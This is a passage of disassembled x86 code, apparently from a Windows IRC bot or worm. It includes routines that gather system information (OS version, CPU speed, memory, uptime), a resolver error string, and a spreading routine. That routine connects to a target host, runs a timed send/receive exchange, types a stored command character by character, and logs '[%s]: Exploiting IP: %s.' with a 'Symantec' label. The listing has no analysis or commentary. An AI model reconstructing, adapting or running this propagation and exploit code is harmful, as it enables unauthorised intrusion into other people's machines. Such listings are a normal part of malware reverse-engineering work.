loc_41AEE1:				; CODE XREF: sub_41AED9+2Fj
					; sub_41AED9+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 269040Ah
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41DCB0
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41AEE1
		jb	short loc_41AF10
		cmp	ebx, esi
		ja	short loc_41AEE1


loc_41AF10:				; CODE XREF: sub_41AED9+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41DD20
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AF83
		jb	short loc_41AF2F
		cmp	esi, 50h
		jnb	short loc_41AF34


loc_41AF2F:				; CODE XREF: sub_41AED9+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41AF34:				; CODE XREF: sub_41AED9+54j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF3F
		cmp	esi, 47h
		jnb	short loc_41AF44


loc_41AF3F:				; CODE XREF: sub_41AED9+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41AF44:				; CODE XREF: sub_41AED9+64j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF4F
		cmp	esi, 37h
		jnb	short loc_41AF54


loc_41AF4F:				; CODE XREF: sub_41AED9+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AF54:				; CODE XREF: sub_41AED9+74j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF5F
		cmp	esi, 26h
		jnb	short loc_41AF64


loc_41AF5F:				; CODE XREF: sub_41AED9+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AF64:				; CODE XREF: sub_41AED9+84j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF6F
		cmp	esi, 1Eh
		jnb	short loc_41AF74


loc_41AF6F:				; CODE XREF: sub_41AED9+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AF74:				; CODE XREF: sub_41AED9+94j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF7F
		cmp	esi, 0Ah
		jnb	short loc_41AF83


loc_41AF7F:				; CODE XREF: sub_41AED9+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AF83:				; CODE XREF: sub_41AED9+4Dj
					; sub_41AED9+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41AED9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF8F	proc near		; CODE XREF: sub_401ACD+2728p

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43DB88
		mov	[ebp+var_CC], 94h
		call	near ptr 26E066Ah
		nop
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41B016
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AFF2
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AFDC
		mov	[ebp+var_4], offset dword_431620


loc_41AFDC:				; CODE XREF: sub_41AF8F+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41B091
		mov	[ebp+var_4], offset dword_43161C
		jmp	short loc_41B062
; ---------------------------------------------------------------------------


loc_41AFF2:				; CODE XREF: sub_41AF8F+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41B004
		mov	[ebp+var_4], offset dword_431618
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B004:				; CODE XREF: sub_41AF8F+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41B052
		mov	[ebp+var_4], offset dword_431614
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B016:				; CODE XREF: sub_41AF8F+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41B052
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41B030
		mov	[ebp+var_4], offset dword_431610
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B030:				; CODE XREF: sub_41AF8F+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41B042
		mov	[ebp+var_4], offset dword_43160C
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B042:				; CODE XREF: sub_41AF8F+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41B059


loc_41B052:				; CODE XREF: sub_41AF8F+7Cj
					; sub_41AF8F+8Ej
		mov	[ebp+var_4], offset dword_431604


loc_41B059:				; CODE XREF: sub_41AF8F+73j
					; sub_41AF8F+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41B091


loc_41B062:				; CODE XREF: sub_41AF8F+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41B091
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_436BB4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41B091:				; CODE XREF: sub_41AF8F+54j
					; sub_41AF8F+D1j ...
		mov	ax, word_4383AC
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CB8B4
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41B0CA
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_41B0CA:				; CODE XREF: sub_41AF8F+12Cj
		push	[ebp+arg_4]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA14
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CB98C
		cmp	eax, ebx
		jz	short loc_41B0F3
		push	dword ptr [eax]
		jmp	short loc_41B0F8
; ---------------------------------------------------------------------------


loc_41B0F3:				; CODE XREF: sub_41AF8F+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41B0F8:				; CODE XREF: sub_41AF8F+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	near ptr 2690000h
		nop
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43AC78
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 2770000h
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 2760000h
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2870000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41C3B1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416DD9
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41ADD8
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41AED9
		push	edx
		push	eax
		push	offset dword_43AB9C
		push	200h
		push	[ebp+arg_0]
		call	sub_41C360
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AF8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B243	proc near		; CODE XREF: sub_401ACD+2756p
					; sub_401ACD+71F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	dword_4CBABC, 0
		jnz	short loc_41B2AF
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CB898
		test	eax, eax
		jnz	short loc_41B298
		lea	eax, [ebp+var_8C]
		push	offset dword_43ACF0
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41B298:				; CODE XREF: sub_41B243+40j
		test	[ebp+var_C], 1
		jz	short loc_41B2A5
		push	offset dword_43ACE8
		jmp	short loc_41B2AA
; ---------------------------------------------------------------------------


loc_41B2A5:				; CODE XREF: sub_41B243+59j
		push	offset off_43ACE4


loc_41B2AA:				; CODE XREF: sub_41B243+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41B2C7
; ---------------------------------------------------------------------------


loc_41B2AF:				; CODE XREF: sub_41B243+28j
		mov	esi, offset off_43ACE0
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_41B2C7:				; CODE XREF: sub_41B243+6Aj
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43AC9C
		push	200h
		push	[ebp+arg_0]
		call	sub_41C360
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41B243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B302	proc near		; DATA XREF: sub_401ACD+757Fo

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43ADD0
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41BF70
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41BF70
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CB8D0
		test	eax, eax
		jz	loc_41B49C
		cmp	[ebp+var_34], ebx
		jbe	short loc_41B3D9
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B3D9:				; CODE XREF: sub_41B302+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41B3F7
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B3F7:				; CODE XREF: sub_41B302+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41B411
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B411:				; CODE XREF: sub_41B302+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41B42B
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B42B:				; CODE XREF: sub_41B302+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CB984
		call	dword_4CB9A8
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41B4B4
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CB99C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41B4BB
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CB948
		test	eax, eax
		jz	short loc_41B495
		push	offset dword_43ADB4
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B495:				; CODE XREF: sub_41B302+18Aj
		push	offset unk_43AD78
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B49C:				; CODE XREF: sub_41B302+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43AD5C
		push	eax
		call	sub_41C266
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41B4CE
; ---------------------------------------------------------------------------


loc_41B4B4:				; CODE XREF: sub_41B302+153j
		push	offset unk_43AD30
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B4BB:				; CODE XREF: sub_41B302+17Bj
		push	offset unk_43AD00


loc_41B4C0:				; CODE XREF: sub_41B302+191j
					; sub_41B302+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41B4CE:				; CODE XREF: sub_41B302+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41B4F9
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409869
		add	esp, 14h


loc_41B4F9:				; CODE XREF: sub_41B302+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_415D38
		pop	ecx
		push	esi
		call	dword_4CBA08
		push	[ebp+var_4]
		call	dword_4CBA08
		push	[ebp+var_1D8]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
		pop	ebx
sub_41B302	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41B52C	proc near		; CODE XREF: sub_401ACD+4F59p

arg_0		= dword	ptr  4

		push	esi
		push	100h
		mov	esi, offset byte_4DBCCC
		push	0
		push	esi
		call	sub_41BF70
		add	esp, 0Ch
		push	[esp+4+arg_0]
		push	offset aS_1	; "%s"
		push	0FFh
		push	esi
		call	sub_41C360
		add	esp, 10h
		pop	esi
		retn
sub_41B52C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B55B	proc near		; CODE XREF: ___:0041B843p
					; ___:0041B860p ...

var_14		= byte ptr -14h
var_C		= byte ptr -0Ch
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		mov	esi, offset dword_4DBDD4
		lea	edi, [ebp+var_C]
		mov	ax, word_43ADD4
		movsd
		movsb
		mov	esi, offset dword_4DBDCC
		lea	edi, [ebp+var_14]
		mov	[ebp+var_2], ax
		mov	ax, word_4346DC
		movsd
		mov	[ebp+var_6], ax
		mov	ax, word_4CB88C
		movsw
		mov	[ebp+var_4], ax
		mov	eax, [ebp+arg_8]
		xor	esi, esi
		cmp	eax, esi
		jnz	loc_41B627
		mov	edi, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	[ebp+arg_8], esi


loc_41B5AD:				; CODE XREF: sub_41B55B+C7j
		mov	eax, [ebp+arg_8]
		sub	eax, esi
		jz	short loc_41B5CD
		dec	eax
		jnz	short loc_41B61B
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B5E1
; ---------------------------------------------------------------------------


loc_41B5CD:				; CODE XREF: sub_41B55B+57j
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41B5E1:				; CODE XREF: sub_41B55B+70j
		push	eax
		push	edi
		call	dword_4CBA24
		push	ebx
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B5FD
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B602
; ---------------------------------------------------------------------------


loc_41B5FD:				; CODE XREF: sub_41B55B+99j
		push	5
		lea	eax, [ebp+var_14]


loc_41B602:				; CODE XREF: sub_41B55B+A0j
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	ebx
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	ebx
		push	edi
		call	dword_4CBA24


loc_41B61B:				; CODE XREF: sub_41B55B+5Aj
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], 1
		jle	short loc_41B5AD
		pop	ebx
		jmp	short loc_41B69D
; ---------------------------------------------------------------------------


loc_41B627:				; CODE XREF: sub_41B55B+42j
		dec	eax
		jz	short loc_41B646
		dec	eax
		jnz	short loc_41B69D
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B65D
; ---------------------------------------------------------------------------


loc_41B646:				; CODE XREF: sub_41B55B+CDj
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41B65D:				; CODE XREF: sub_41B55B+E9j
		push	eax
		push	edi
		call	dword_4CBA24
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B67B
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B680
; ---------------------------------------------------------------------------


loc_41B67B:				; CODE XREF: sub_41B55B+117j
		push	5
		lea	eax, [ebp+var_14]


loc_41B680:				; CODE XREF: sub_41B55B+11Ej
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	dword_4CBA24


loc_41B69D:				; CODE XREF: sub_41B55B+CAj
					; sub_41B55B+D0j
		pop	edi
		pop	esi
		leave
		retn
sub_41B55B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 288h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_43ADEC
		lea	edi, [ebp-38h]
		mov	ax, word_4346DC
		movsd
		movsd
		movsd
		movsb
		mov	esi, offset dword_43ADE8
		lea	edi, [ebp-1Ch]
		movsw
		movsb
		mov	esi, offset dword_4DBDD4
		lea	edi, [ebp-28h]
		movsd
		movsb
		mov	esi, offset dword_43ADE4
		lea	edi, [ebp-10h]
		movsw
		movsb
		mov	esi, offset dword_43ADE0
		lea	edi, [ebp-14h]
		movsw
		movsb
		mov	esi, offset dword_43ADDC
		lea	edi, [ebp-0Ch]
		movsw
		movsb
		xor	esi, esi
		mov	[ebp-6], ax
		mov	[ebp-16h], ax
		mov	ax, word ptr aR	; "r"
		push	esi
		push	1
		push	2
		mov	[ebp-18h], ax
		xor	edi, edi
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41B724
		push	eax
		call	dword_4CBA6C


loc_41B724:				; CODE XREF: ___:0041B71Bj
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-48h], 2
		push	eax
		call	dword_4CBA14
		push	dword ptr [ebp+0A8h]
		mov	[ebp-44h], eax
		call	dword_4CB9D4
		mov	[ebp-46h], ax
		lea	eax, [ebp-48h]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		test	eax, eax
		jnz	loc_41B820


loc_41B75C:				; CODE XREF: ___:0041B7CEj
					; ___:0041B805j
		push	40h
		lea	eax, [ebp-88h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-88h]
		push	esi
		push	40h
		push	eax
		push	ebx
		call	dword_4CB9EC
		cmp	eax, esi
		jle	loc_41B82E
		cmp	eax, 0FFFFFFFFh
		jz	loc_41B82E
		mov	eax, edi
		sub	eax, esi
		jz	short loc_41B7D0
		dec	eax
		jz	short loc_41B79E
		dec	eax
		jz	short loc_41B80A
		jmp	short loc_41B800
; ---------------------------------------------------------------------------


loc_41B79E:				; CODE XREF: ___:0041B797j
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B820
		lea	eax, [ebp-6]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-6]
		push	eax
		push	ebx
		call	dword_4CBA24
		push	2
		pop	edi
		jmp	short loc_41B75C
; ---------------------------------------------------------------------------


loc_41B7D0:				; CODE XREF: ___:0041B794j
		lea	eax, [ebp-38h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B820
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		call	dword_4CBA24
		push	1
		pop	edi


loc_41B800:				; CODE XREF: ___:0041B79Cj
		cmp	edi, 3
		jz	short loc_41B82E
		jmp	loc_41B75C
; ---------------------------------------------------------------------------


loc_41B80A:				; CODE XREF: ___:0041B79Aj
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41B82E


loc_41B820:				; CODE XREF: ___:0041B756j
					; ___:0041B7B2j ...
		push	ebx
		call	dword_4CBA6C
		xor	eax, eax
		jmp	loc_41B9B7
; ---------------------------------------------------------------------------


loc_41B82E:				; CODE XREF: ___:0041B781j
					; ___:0041B78Aj ...
		push	esi
		lea	eax, [ebp-16h]
		push	1
		push	eax
		push	ebx
		call	dword_4CBA24
		lea	eax, [ebp-10h]
		push	1
		push	eax
		push	ebx
		call	sub_41B55B
		mov	esi, dword_427080
		add	esp, 0Ch
		mov	edi, 3E8h
		push	edi
		call	esi
		lea	eax, [ebp-18h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		lea	eax, [ebp-10h]
		push	2
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		and	dword ptr [ebp-4], 0
		mov	edi, offset byte_4DBCCC
		push	edi
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_41B8CE


loc_41B891:				; CODE XREF: ___:0041B8CCj
		mov	eax, [ebp-4]
		movsx	eax, byte_4DBCCC[eax]
		push	eax
		push	offset dword_43ADD8
		lea	eax, [ebp-20h]
		push	3
		push	eax
		call	sub_41C360
		lea	eax, [ebp-20h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 1Ch
		push	7Dh
		call	esi
		inc	dword ptr [ebp-4]
		push	edi
		call	sub_41B9C0
		cmp	[ebp-4], eax
		pop	ecx
		jb	short loc_41B891


loc_41B8CE:				; CODE XREF: ___:0041B88Fj
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	0FA0h
		call	esi
		push	2
		pop	edi


loc_41B8E7:				; CODE XREF: ___:0041B8FEj
		lea	eax, [ebp-14h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	12Ch
		call	esi
		dec	edi
		jnz	short loc_41B8E7
		mov	edi, 7D0h
		push	edi
		call	esi
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		xor	edi, edi
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	190h
		call	esi
		mov	dword ptr [ebp-4], 2


loc_41B938:				; CODE XREF: ___:0041B950j
		push	258h
		call	esi
		lea	eax, [ebp-0Ch]
		push	edi
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		dec	dword ptr [ebp-4]
		jnz	short loc_41B938
		push	ebx
		call	dword_4CBA6C
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-288h]
		push	1FFh
		push	eax
		call	sub_41C360
		push	edi
		lea	eax, [ebp-288h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		mov	eax, [ebp+0B0h]
		add	esp, 28h
		shl	eax, 6
		inc	dword_431800[eax]
		push	1
		lea	eax, dword_431800[eax]
		pop	eax


loc_41B9B7:				; CODE XREF: ___:0041B829j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B9C0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B9E0


loc_41B9CC:				; CODE XREF: sub_41B9C0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BA13
		test	ecx, 3
		jnz	short loc_41B9CC
		add	eax, 0


loc_41B9E0:				; CODE XREF: sub_41B9C0+Aj
					; sub_41B9C0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
